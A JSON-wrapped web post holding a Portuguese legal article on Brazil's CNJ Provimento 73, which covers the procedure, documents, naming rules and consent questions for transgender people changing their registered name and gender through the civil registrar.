{"id":807,"date":"2018-07-12T11:43:57","date_gmt":"2018-07-12T14:43:57","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/artigo-o-provimento-73-do-conselho-nacional-de-justica-e-o-procedimento-extrajudicial-de-alteracao-do-nome-e-do-genero-dos-transgeneros-diretamente-perante-o-registrador-civil-das-pessoas-naturais\/"},"modified":"2018-07-12T11:43:57","modified_gmt":"2018-07-12T14:43:57","slug":"artigo-o-provimento-73-do-conselho-nacional-de-justica-e-o-procedimento-extrajudicial-de-alteracao-do-nome-e-do-genero-dos-transgeneros-diretamente-perante-o-registrador-civil-das-pessoas-naturais","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/artigo-o-provimento-73-do-conselho-nacional-de-justica-e-o-procedimento-extrajudicial-de-alteracao-do-nome-e-do-genero-dos-transgeneros-diretamente-perante-o-registrador-civil-das-pessoas-naturais\/","title":{"rendered":"Artigo &#8211; O Provimento 73 do Conselho Nacional de Justi\u00e7a e o procedimento extrajudicial de altera\u00e7\u00e3o do nome e do g\u00eanero dos transg\u00eaneros diretamente perante o Registrador Civil das Pessoas Naturais \u2013 Por Isabela Franco Maculan Assump\u00e7\u00e3o e Let\u00edcia Franco"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 28 de junho de 2018 ocorreu a publica&ccedil;&atilde;o do provimento 73 do Conselho Nacional de Justi&ccedil;a &ndash; CNJ, o qual trouxe as regulamenta&ccedil;&otilde;es necess&aacute;rias para fazer cumprir a decis&atilde;o do Supremo Tribunal Federal &ndash; STF na A&ccedil;&atilde;o Direta de Inconstitucionalidade n&uacute;mero 4.275\/DF.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Na referida decis&atilde;o, a corte suprema decidiu por interpretar o art. 58 da Lei n. 6.015, de 31 de dezembro de 1973 , tamb&eacute;m conhecida como Lei de Registros P&uacute;blicos, no sentido de que a averba&ccedil;&atilde;o no Registro Civil do prenome e do g&ecirc;nero autopercebido independe de cirurgia de redesigna&ccedil;&atilde;o sexual ou de tratamento hormonal. Essa decis&atilde;o, embora acertada na opini&atilde;o das autoras deste artigo, n&atilde;o poderia ser imediatamente cumprida por n&atilde;o haver orienta&ccedil;&atilde;o espec&iacute;fica dada pelo Conselho Nacional de Justi&ccedil;a &ndash; CNJ, pois eram desconhecidos os requisitos para o procedimento e as cautelas a serem observadas.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Enfim, com a publica&ccedil;&atilde;o do provimento 73 do CNJ, a averba&ccedil;&atilde;o da altera&ccedil;&atilde;o do prenome e do g&ecirc;nero nos assentos de nascimento e casamento de pessoa transg&ecirc;nero nos cart&oacute;rios de registro civil passou a ser poss&iacute;vel. &Eacute; essencial, por&eacute;m, analisar profundamente o provimento tanto para que seu p&uacute;blico alvo possa melhor compreend&ecirc;-lo quanto para levantar quest&otilde;es de poss&iacute;vel discuss&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A princ&iacute;pio, a decis&atilde;o do STF na ADI 4.275\/DF criou uma d&uacute;vida preocupante: sem qualquer laudo psicol&oacute;gico ou m&eacute;dico que confirmasse a transexualidade, como seria poss&iacute;vel evitar fraudes? O provimento do CNJ manteve a n&atilde;o-obrigatoriedade estabelecida pelo STF, no entanto, estabeleceu uma s&eacute;rie de requisitos para resguardar o procedimento.<\/p>\n<p style=\"text-align: justify;\">I &ndash; O PROCEDIMENTO<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O provimento n. 73 determina que deve ser apresentado o pedido para altera&ccedil;&atilde;o do registro de nascimento, em primeiro lugar. Somente ap&oacute;s ser&aacute; providenciada a altera&ccedil;&atilde;o no registro de casamento, o que est&aacute; de acordo com o princ&iacute;pio da continuidade dos registros p&uacute;blicos. Al&eacute;m disso, &eacute; preciso considerar que nem sempre poder&aacute; ser feita a altera&ccedil;&atilde;o de forma extrajudicial do nome e do g&ecirc;nero no registro de casamento, o que ser&aacute; discutido em item posterior deste artigo.&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Requerente dever&aacute; solicitar diretamente ao Oficial do Registro Civil das Pessoas Naturais a altera&ccedil;&atilde;o do g&ecirc;nero ou do g&ecirc;nero e do prenome. O pedido poder&aacute; ser formulado em of&iacute;cio do registro civil diverso daquele onde est&aacute; o assento de nascimento. Nesse caso, o Registrador que receber o requerimento, devidamente instru&iacute;do com o termo que consta em anexo ao provimento, bem como com os documentos exigidos, ap&oacute;s entrevista que entendemos obrigat&oacute;ria, convencido de que n&atilde;o h&aacute; fraude, encaminhar&aacute; todo o procedimento ao Registrador do Cart&oacute;rio onde est&aacute; o assento de nascimento. Para n&oacute;s, o Registrador que tem melhores condi&ccedil;&otilde;es de dizer se parece ou n&atilde;o haver fraude &eacute; aquele que tem contato pessoal com o Requerente, o que, no entanto, n&atilde;o afasta a necessidade de que o Registrador que &eacute; respons&aacute;vel pelo cart&oacute;rio onde est&aacute; o assento tamb&eacute;m fa&ccedil;a a sua an&aacute;lise da documenta&ccedil;&atilde;o. Segundo o provimento, o procedimento ser&aacute; encaminhado ao colega Registrador por meio da Central do Registro Civil &ndash; CRC. A remessa ao outro Registrador ser&aacute; feita &agrave;s expensas do Requerente, devendo ser observados os emolumentos de cada Estado da Federa&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ressalte-se que sempre dever&aacute; o Requerente comparecer perante um Registrador Civil das Pessoas Naturais. O Registrador tem que identificar a pessoa e coletar sua qualifica&ccedil;&atilde;o e sua assinatura no termo cujo modelo est&aacute; anexo ao provimento. A assinatura, portanto, dever&aacute; ser feita na presen&ccedil;a do Registrador. No termo, a pessoa tem que declarar que n&atilde;o h&aacute; processo judicial cujo objeto seja a altera&ccedil;&atilde;o de g&ecirc;nero ou de prenome e g&ecirc;nero pretendida. Se houver processo judicial, dever&aacute; ser provado o arquivamento do feito ao ser apresentado o pedido extrajudicial.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Registrador do Cart&oacute;rio onde est&aacute; o assento do nascimento, convencido de que n&atilde;o h&aacute; fraude, falsidade, m&aacute;-f&eacute; ou v&iacute;cio da vontade, proceder&aacute; &agrave; averba&ccedil;&atilde;o. Em caso contr&aacute;rio, o Registrador dever&aacute; fundamentar a recusa e enviar ao procedimento ao Juiz Corregedor Permanente, denomina&ccedil;&atilde;o dada em S&atilde;o Paulo para o juiz de primeiro grau competente para registros p&uacute;blicos, conforme Lei de Organiza&ccedil;&atilde;o Judici&aacute;ria do Estado de S&atilde;o Paulo, Decreto-lei 158,de 1969.&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ap&oacute;s a averba&ccedil;&atilde;o, o Registrador ter&aacute; que comunicar aos &oacute;rg&atilde;os que expedem o RG, CPF, ICN, CPF, passaporte e tamb&eacute;m ao TRE. Al&eacute;m disso, se houver a&ccedil;&otilde;es judiciais ou d&iacute;vidas do Requerente, todos os ju&iacute;zes das causas e &oacute;rg&atilde;os interessados dever&atilde;o ser comunicados pelo Registrador &agrave;s expensas do Requerente. Entendemos que &eacute; poss&iacute;vel utilizar o malote digital para comunica&ccedil;&atilde;o aos ju&iacute;zes das causas respectivas, mas ainda n&atilde;o existe um sistema para comunica&ccedil;&atilde;o a todos os outros &oacute;rg&atilde;os, o que dever&aacute; ser objeto de aten&ccedil;&atilde;o pelas associa&ccedil;&otilde;es de Registradores Civis das Pessoas Naturais. Por enquanto, pois, dever&aacute; ser analisado qual o custo para a comunica&ccedil;&atilde;o, que ser&aacute; repassado ao Requerente. Dever&aacute; o Requerente ser informado, ainda, que dever&aacute; proceder &agrave; altera&ccedil;&atilde;o do nome e do g&ecirc;nero em quaisquer outros &oacute;rg&atilde;os.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O CNJ exige que tanto o Registrador perante o qual seja apresentado o procedimento quanto o Registrador do cart&oacute;rio onde est&aacute; o assento arquivem todos os documentos que comp&otilde;em o procedimento. Dever&aacute;, pois, haver um sistema que permita a localiza&ccedil;&atilde;o desses documentos, por meio de pesquisa tanto pelo nome anterior quanto pelo novo nome e ainda pelos documentos de identifica&ccedil;&atilde;o da pessoa.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Apenas ap&oacute;s a altera&ccedil;&atilde;o do g&ecirc;nero ou de prenome e g&ecirc;nero no registro de nascimento, poder&aacute; o Requerente buscar a altera&ccedil;&atilde;o no registro de casamento, se estiverem presentes as condi&ccedil;&otilde;es para o procedimento extrajudicial, o que ser&aacute; analisado no t&oacute;pico denominado &ldquo;quest&otilde;es controversas&rdquo;. Entendemos, pois, que a certid&atilde;o de nascimento j&aacute; com a averba&ccedil;&atilde;o &eacute; um dos requisitos para a averba&ccedil;&atilde;o das altera&ccedil;&otilde;es no registro de casamento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A averba&ccedil;&atilde;o da altera&ccedil;&atilde;o do g&ecirc;nero ou do nome e g&ecirc;nero do transg&ecirc;nero &eacute; sigilosa e n&atilde;o constar&aacute; das certid&otilde;es, a n&atilde;o ser por solicita&ccedil;&atilde;o da pr&oacute;pria pessoa ou por determina&ccedil;&atilde;o judicial. Obviamente a pessoa registrada poder&aacute; providenciar procura&ccedil;&atilde;o p&uacute;blica ou particular com firma reconhecida dando poderes a qualquer pessoa para requerer a certid&atilde;o.&nbsp;<br \/>\n&nbsp;<br \/>\nII &#8211; DOS REQUISITOS PARA A ALTERA&Ccedil;&Atilde;O NA VIA EXTRAJUDICIAL DO G&Ecirc;NERO OU DO NOME E G&Ecirc;NERO DA PESSOA TRANSG&Ecirc;NERO<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O requerimento de adequa&ccedil;&atilde;o do prenome e do g&ecirc;nero somente pode ser apresentado por pessoa com 18 anos completos, tendo o CNJ ainda exigido que o Requerente esteja habilitado a todos os atos da vida civil. H&aacute; que ser verificado pelo Registrador se o nome e o g&ecirc;nero registrado diferem, de fato, da identidade autopercebida (art. 2&ordm;).<br \/>\n&nbsp;<br \/>\n&nbsp;&nbsp;&nbsp;&nbsp; No entanto, n&atilde;o basta ser maior e capaz e ter identidade autopercebida diversa daquela registrada. O interessado dever&aacute; levar consigo ao Cart&oacute;rio uma s&eacute;rie de documentos, os quais ser&atilde;o, em seguida, diferenciados entre obrigat&oacute;rios, eventuais ou facultativos, para fins de melhor compreens&atilde;o.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Documentos obrigat&oacute;rios, ou seja, aqueles que devem ser apresentados por todos os interessados no ato do requerimento:<\/p>\n<p style=\"text-align: justify;\">\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o de nascimento atualizada &ndash; o provimento n&atilde;o esclarece h&aacute; quanto tempo deve ter sido expedida a certid&atilde;o. Em Minas Gerais, conforme Provimento n. 260, da CGJ-MG, &eacute; considerada atualizada a certid&atilde;o emitida h&aacute; menos de 90 dias. No entanto, o melhor &eacute; que a certid&atilde;o seja ainda mais recente, expedida no mesmo dia do requerimento, o que j&aacute; &eacute; poss&iacute;vel tendo em vista a exist&ecirc;ncia e &oacute;timo funcionamento da CRC nacional;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia da Carteira de Identidade;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia do CPF;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia do T&iacute;tulo de Eleitor;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Comprovante de Endere&ccedil;o;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o do distribuidor c&iacute;vel estadual e federal do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o do distribuidor criminal estadual e federal do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o de execu&ccedil;&atilde;o criminal estadual e federal do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o dos Tabelionatos de Protesto do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o da Justi&ccedil;a do Trabalho do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o da Justi&ccedil;a Eleitoral do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Documentos eventuais, ou seja, aqueles que dependem do caso concreto da pessoa em quest&atilde;o:<\/p>\n<p style=\"text-align: justify;\">\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o de casamento atualizada (tamb&eacute;m aqui tomaremos como par&acirc;metro o Provimento n. 260, da CGJ-MG, devendo ter sido expedida a certid&atilde;o h&aacute; no m&aacute;ximo 90 dias, sendo ideal a certid&atilde;o expedida no dia do requerimento) para pessoas casadas, divorciadas ou vi&uacute;vas;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia do Passaporte Brasileiro, se houver;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia da Carteira de Identidade Social ;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;C&oacute;pia da Identifica&ccedil;&atilde;o Civil Nacional ;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Certid&atilde;o da Justi&ccedil;a Militar do local de resid&ecirc;ncia dos &uacute;ltimos cinco anos, se for o caso;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Documentos facultativos, ou seja, aqueles que podem ser apresentados, se o Requerente assim quiser, para instru&ccedil;&atilde;o do procedimento:<\/p>\n<p style=\"text-align: justify;\">\n&bull;&nbsp;&nbsp; &nbsp;Laudo m&eacute;dico que ateste a transexualidade\/travestilidade;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Parecer psicol&oacute;gico que ateste a transexualidade\/travestilidade;<br \/>\n&bull;&nbsp;&nbsp; &nbsp;Laudo m&eacute;dico que ateste a realiza&ccedil;&atilde;o de cirurgia de redesigna&ccedil;&atilde;o de g&ecirc;nero.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ressalta-se que a aus&ecirc;ncia de qualquer um dos documentos obrigat&oacute;rios, ou daqueles eventuais, quando for o caso, impede a altera&ccedil;&atilde;o do registro (art. 4&ordm;, &sect; 8&ordm;). Ainda, esclarece-se que a exist&ecirc;ncia de a&ccedil;&otilde;es em andamento nas Justi&ccedil;as do Trabalho, Eleitoral e Militar n&atilde;o impedem a averba&ccedil;&atilde;o da altera&ccedil;&atilde;o, assim como a exist&ecirc;ncia de d&eacute;bitos pendentes seja nas referidas justi&ccedil;as, seja nos Cart&oacute;rios de Protesto. No entanto, a altera&ccedil;&atilde;o dever&aacute; ser comunicada aos ju&iacute;zos e &oacute;rg&atilde;os competentes pelo pr&oacute;prio of&iacute;cio do registro civil no qual ocorreu a averba&ccedil;&atilde;o.<\/p>\n<p style=\"text-align: justify;\">III &ndash; CRIT&Eacute;RIOS PARA ALTERA&Ccedil;&Atilde;O DO NOME<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O Provimento n. 73, do CNJ, estabelece alguns crit&eacute;rios para altera&ccedil;&atilde;o do nome. Assim, somente o prenome e o agnome podem ser objeto de mudan&ccedil;a. O prenome &eacute; o primeiro nome, podendo ser simples, como Marcelo, ou duplo, como Maria Celeste. J&aacute; o agnome &eacute; aquele &uacute;ltimo nome, constando ap&oacute;s o sobrenome, que tem por objetivo diferenciar o portador do outro ancestral que possui o mesmo nome, sendo comuns os agnomes J&uacute;nior, Filho, Neto, dentre outros.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O CNJ determinou que &eacute; vedado que a pessoa transg&ecirc;nero, ao mover o procedimento para altera&ccedil;&atilde;o do seu nome, fique com prenome id&ecirc;ntico ao de outro membro da fam&iacute;lia. Apesar do que consta no provimento, o que a Lei 6.015, de 1973, veda &eacute; que a pessoa tenha o nome completo id&ecirc;ntico ao de outro irm&atilde;o, podendo existir mesmo prenome, desde que duplo, ou nome completo diverso, ou seja, se o sobrenome (nome de fam&iacute;lia) for diferente, n&atilde;o h&aacute; proibi&ccedil;&atilde;o legal de que irm&atilde;os tenham o mesmo prenome. Assim, n&atilde;o h&aacute; problema no caso de um irm&atilde;o se chamar Jo&atilde;o Paulo e outro Jo&atilde;o Pedro. Tamb&eacute;m n&atilde;o h&aacute; problema se ambos se chamarem Jo&atilde;o, mas um for Jo&atilde;o de Souza e outro Jo&atilde;o da Silva.&nbsp;<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De acordo com o Provimento n. 73 n&atilde;o pode haver altera&ccedil;&atilde;o de sobrenomes no procedimento extrajudicial voltado para a pessoa transg&ecirc;nero. Sobre o agnome, entendemos que, se o filho se chamava Jo&atilde;o Paulo de Souza J&uacute;nior e agora, em virtude do procedimento, vai passar a se chamar Maria Paula de Souza, dever&aacute; obrigatoriamente ser exclu&iacute;do o agnome J&uacute;nior.<\/p>\n<p style=\"text-align: justify;\">IV &ndash; ALTERA&Ccedil;&Atilde;O APENAS DO G&Ecirc;NERO OU DO NOME E DO G&Ecirc;NERO<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O art. 3. do Provimento estabelece que pode haver no procedimento requerimento de altera&ccedil;&atilde;o do prenome (e tamb&eacute;m do agnome), do g&ecirc;nero ou de ambos. Apesar de assim ter constado no provimento, entendemos que, para haver a altera&ccedil;&atilde;o do prenome, deve sempre haver a altera&ccedil;&atilde;o do g&ecirc;nero, sendo que o novo prenome escolhido deve corresponder ao novo g&ecirc;nero.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O que pode ocorrer &eacute; que haja a altera&ccedil;&atilde;o do g&ecirc;nero sem que haja a altera&ccedil;&atilde;o do nome. Entendemos que, se o nome que a pessoa transg&ecirc;nero j&aacute; possui, pode ser usado por pessoas de ambos os g&ecirc;neros, n&atilde;o h&aacute; qualquer problema em ser mantido. Exemplos s&atilde;o os prenomes Jaci, Darci, entre outros.&nbsp;<\/p>\n<p style=\"text-align: justify;\">V &#8211; DAS QUEST&Otilde;ES CONTROVERSAS<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A adequa&ccedil;&atilde;o do nome e do g&ecirc;nero na certid&atilde;o de nascimento da pessoa trans, portanto, depende dos documentos listados anteriormente, mas n&atilde;o apresenta maiores dificuldades. Os poss&iacute;veis problemas residem nas altera&ccedil;&otilde;es subsequentes, dos registros que dizem respeito, direta ou indiretamente, &agrave; pessoa do Requerente. Esses registros podem ser de seus descendentes, filhos e netos (art. 8&ordm;, &sect; 2&ordm;), ou de seu casamento (art. 8&ordm;, &sect; 3&ordm;).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No caso do registro de casamento, a altera&ccedil;&atilde;o depende da anu&ecirc;ncia do c&ocirc;njuge. Embora se espere que essa anu&ecirc;ncia seja concedida, no caso de resist&ecirc;ncia por parte do c&ocirc;njuge, o consentimento poder&aacute; ser suprido judicialmente. O mesmo ocorre no caso do registro dos descendentes: a altera&ccedil;&atilde;o do prenome e do g&ecirc;nero do genitor ou genitora no registro de nascimento depender&aacute; da anu&ecirc;ncia dos descendentes quando relativamente capazes ou maiores, bem como da dos genitores dos descendentes. Tamb&eacute;m nesse caso, se recusado o consentimento, este poder&aacute; ser suprido por decis&atilde;o judicial favor&aacute;vel.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; H&aacute; de se apontar a possibilidade de altera&ccedil;&atilde;o na certid&atilde;o de casamento de pessoa divorciada. Entendem as autoras deste artigo que n&atilde;o &eacute; necess&aacute;rio o consentimento do ex-c&ocirc;njuge para que se proceda &agrave; altera&ccedil;&atilde;o. Isso porque o provimento 73 do CNJ estabelece a necessidade de anu&ecirc;ncia do c&ocirc;njuge, n&atilde;o mencionando o ex-c&ocirc;njuge, no caso da pessoa divorciada. Al&eacute;m disso, ressalta-se que a altera&ccedil;&atilde;o do nome e do g&ecirc;nero da pessoa com quem uma vez algu&eacute;m foi casado n&atilde;o cria impedimentos quaisquer ao ex-c&ocirc;njuge, ao passo de que, se n&atilde;o for feita a altera&ccedil;&atilde;o no registro de casamento, n&atilde;o apenas existir&atilde;o transtornos imensos para a pessoa, que n&atilde;o poder&aacute; ser identificada por seu nome e g&ecirc;nero autopercebido, como tamb&eacute;m a impedir&aacute; de realizar atos da vida civil atrav&eacute;s da apresenta&ccedil;&atilde;o da certid&atilde;o de casamento.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; De fato, sempre que uma pessoa se declara casada ou divorciada ou ainda vi&uacute;va, nos atos da vida civil a certid&atilde;o apresentada &eacute; a de casamento. Assim, ter sido alterado g&ecirc;nero ou o nome e o g&ecirc;nero somente na certid&atilde;o de nascimento n&atilde;o &eacute; suficiente para garantir a dignidade da pessoa trans.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Fato &eacute; que a sociedade ainda se encontra em um momento no qual a transexualidade, assim como a homossexualidade, &eacute; vista com preconceito por muitos, o que pode levar a uma recusa de determinadas pessoas em &ldquo;parecer homossexual&rdquo;. Essa recusa, na opini&atilde;o das autoras deste artigo, n&atilde;o seria capaz de impedir o prosseguimento do procedimento de averba&ccedil;&atilde;o, pois n&atilde;o criaria ao ex-c&ocirc;njuge impedimentos ou transtornos relevantes.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No que tange ao registro dos filhos ou netos, h&aacute; de se apontar que existe ainda um problema enquanto os descendentes forem menores de idade. Ao exigir a maioridade ou a capacidade relativa do descendente para a altera&ccedil;&atilde;o, o CNJ deixa de considerar que, sendo o nome do genitor diferente na certid&atilde;o de nascimento da crian&ccedil;a e nos documentos do ascendente, situa&ccedil;&otilde;es de problem&aacute;ticas poder&atilde;o surgir. Um exemplo &eacute; a comprova&ccedil;&atilde;o da paternidade ou maternidade para viagens ou a concess&atilde;o de autoriza&ccedil;&otilde;es. Seria necess&aacute;rio comprovar que a pessoa que hoje se apresenta como Maria anteriormente tinha o nome de Jo&atilde;o, criando uma situa&ccedil;&atilde;o de constrangimento que poderia ser evitada com a altera&ccedil;&atilde;o do prenome do genitor ou genitora no registro dos menores.<\/p>\n<p style=\"text-align: justify;\">VI- O PROBLEMA DAS ANOTA&Ccedil;&Otilde;ES E AVERBA&Ccedil;&Otilde;ES J&Aacute; EXISTENTES NOS REGISTROS DE NASCIMENTO OU CASAMENTO<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Pode ser que j&aacute; existam anota&ccedil;&otilde;es ou averba&ccedil;&otilde;es no registro de nascimento ou de casamento da pessoa trans. Nessas anota&ccedil;&otilde;es ou averba&ccedil;&otilde;es pode ser que constem refer&ecirc;ncias ao prenome original ou ao g&ecirc;nero original da pessoa. &nbsp;J&aacute; que o CNJ determinou que a averba&ccedil;&atilde;o do novo nome e g&ecirc;nero ser&aacute; sigilosa, o referido sigilo somente ser&aacute; garantido se n&atilde;o forem feitas men&ccedil;&otilde;es a esses dados &ndash; na hip&oacute;tese de sua omiss&atilde;o n&atilde;o prejudicar a compreens&atilde;o das averba&ccedil;&otilde;es anteriores &#8211; ou se nessas anota&ccedil;&otilde;es ou averba&ccedil;&otilde;es for atualizado o nome e o g&ecirc;nero para o atual, o que seria feito de of&iacute;cio pelo Registrador. O Provimento n&atilde;o tratou desse problema espec&iacute;fico, mas a &uacute;nica interpreta&ccedil;&atilde;o que est&aacute; em conformidade com o sigilo &eacute; a que hora se apresenta.<\/p>\n<p style=\"text-align: justify;\">VII &#8211; CONCLUS&Atilde;O<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em resumo e em conclus&atilde;o, temos que:<\/p>\n<p style=\"text-align: justify;\">a- quanto ao procedimento:<\/p>\n<p style=\"text-align: justify;\">a.1) deve ser apresentado o pedido para altera&ccedil;&atilde;o do registro de nascimento, em primeiro lugar.&nbsp;<br \/>\na.2) o Requerente dever&aacute; solicitar diretamente ao Oficial do Registro Civil das Pessoas Naturais a altera&ccedil;&atilde;o do novo g&ecirc;nero ou do novo g&ecirc;nero e do novo prenome.&nbsp;<br \/>\na.3) o pedido poder&aacute; ser formulado em of&iacute;cio do registro civil diverso daquele onde est&aacute; o assento de nascimento.&nbsp;<br \/>\na.4) entendemos que o Registrador que recebe o pedido do Requerente deve obrigatoriamente entrevistar a pessoa trans.<br \/>\na.5) tanto o Registrador que tem contato pessoal com o Requerente quanto aquele que &eacute; respons&aacute;vel pelo registro de nascimento poder&aacute; recusar fundamentadamente o pedido e encaminhar o procedimento para o juiz competente para registros p&uacute;blicos.<br \/>\na.6) no caso de o procedimento ser apresentado a Registrador diverso daquele que &eacute; respons&aacute;vel pelo registro de nascimento, o &nbsp;colega encaminhar&aacute; ao outro Registrador por meio da Central do Registro Civil &ndash; CRC todo o procedimento, mantendo arquivo de toda a documenta&ccedil;&atilde;o.<br \/>\na.7) a remessa ao outro Registrador ser&aacute; feita &agrave;s expensas do Requerente, devendo ser observados os emolumentos de cada Estado da Federa&ccedil;&atilde;o, bem como os custos da remessa.<br \/>\na.8) ap&oacute;s a averba&ccedil;&atilde;o, o Registrador ter&aacute; que comunicar aos &oacute;rg&atilde;os que expedem o RG, CPF, ICN, CPF, passaporte e tamb&eacute;m ao TRE, bem como, se houver a&ccedil;&otilde;es judiciais ou d&iacute;vidas do Requerente, todos os ju&iacute;zes das causas e &oacute;rg&atilde;os interessados, &agrave;s expensas do Requerente.&nbsp;<br \/>\na.9) o CNJ exige que tanto o Registrador perante o qual seja apresentado o procedimento quanto o Registrador do cart&oacute;rio onde est&aacute; o assento arquivem todos os documentos que comp&otilde;em o procedimento, devendo haver um sistema que permita a localiza&ccedil;&atilde;o desses documentos, por meio de pesquisa tanto pelo nome anterior quanto pelo novo nome e ainda pelos documentos de identifica&ccedil;&atilde;o da pessoa.<br \/>\na.10) apenas ap&oacute;s a altera&ccedil;&atilde;o do g&ecirc;nero ou de prenome e g&ecirc;nero no registro de nascimento, poder&aacute; o Requerente buscar a altera&ccedil;&atilde;o no registro de casamento, se estiverem presentes as condi&ccedil;&otilde;es para o procedimento extrajudicial, ou seja, a anu&ecirc;ncia do c&ocirc;njuge, n&atilde;o sendo exigida anu&ecirc;ncia do ex-c&ocirc;njuge.<br \/>\na.11) a averba&ccedil;&atilde;o da altera&ccedil;&atilde;o do g&ecirc;nero ou do nome e g&ecirc;nero do transg&ecirc;nero &eacute; sigilosa e n&atilde;o constar&aacute; das certid&otilde;es, a n&atilde;o ser por solicita&ccedil;&atilde;o da pr&oacute;pria pessoa ou por determina&ccedil;&atilde;o judicial.&nbsp;<br \/>\na.12) se j&aacute; existirem anota&ccedil;&otilde;es ou averba&ccedil;&otilde;es anteriores no registro, que envolvam nome ou g&ecirc;nero do trans, dever&atilde;o ser omitidos tais dados, se n&atilde;o prejudicarem o entendimento, ou dever&atilde;o, de of&iacute;cio, ser alterados pelo registrador os dados para os atuais. N&atilde;o consta do provimento essa orienta&ccedil;&atilde;o, mas &eacute; a &uacute;nica compat&iacute;vel com o sigilo.<\/p>\n<p style=\"text-align: justify;\">b- quanto aos requisitos para a altera&ccedil;&atilde;o na via extrajudicial do g&ecirc;nero ou nome ou g&ecirc;nero dos trans:<br \/>\nb.1) pessoa com 18 anos completos.<br \/>\nb.2) Requerente habilitado a todos os atos da vida civil.<br \/>\nb.3) o nome e o g&ecirc;nero registrado diferem da identidade autopercebida.<br \/>\nb.4) apresenta&ccedil;&atilde;o dos documentos obrigat&oacute;rios e eventuais previstos no provimento.<\/p>\n<p style=\"text-align: justify;\">c- quanto ao nome:<br \/>\nc.1) somente o prenome e o agnome podem ser objeto de mudan&ccedil;a.<br \/>\nc.2) o CNJ determinou que &eacute; vedado que a pessoa transg&ecirc;nero, ao mover o procedimento para altera&ccedil;&atilde;o do seu nome, fique com prenome id&ecirc;ntico ao de outro membro da fam&iacute;lia.<br \/>\nc.3) n&atilde;o pode haver altera&ccedil;&atilde;o de sobrenomes no procedimento extrajudicial voltado para a pessoa transg&ecirc;nero.<br \/>\nc.5) sobre o agnome, dever&aacute; ser exclu&iacute;do se n&atilde;o mais houver identidade do nome com aquele do parente.<\/p>\n<p style=\"text-align: justify;\">d- quanto &agrave; altera&ccedil;&atilde;o do g&ecirc;nero ou do nome e do g&ecirc;nero<br \/>\nd.1) para haver a altera&ccedil;&atilde;o do prenome, deve sempre haver a altera&ccedil;&atilde;o do g&ecirc;nero, sendo que o novo prenome escolhido deve corresponder ao novo g&ecirc;nero.<br \/>\nd.2) pode haver a altera&ccedil;&atilde;o do g&ecirc;nero sem que haja a altera&ccedil;&atilde;o do nome.<\/p>\n<p 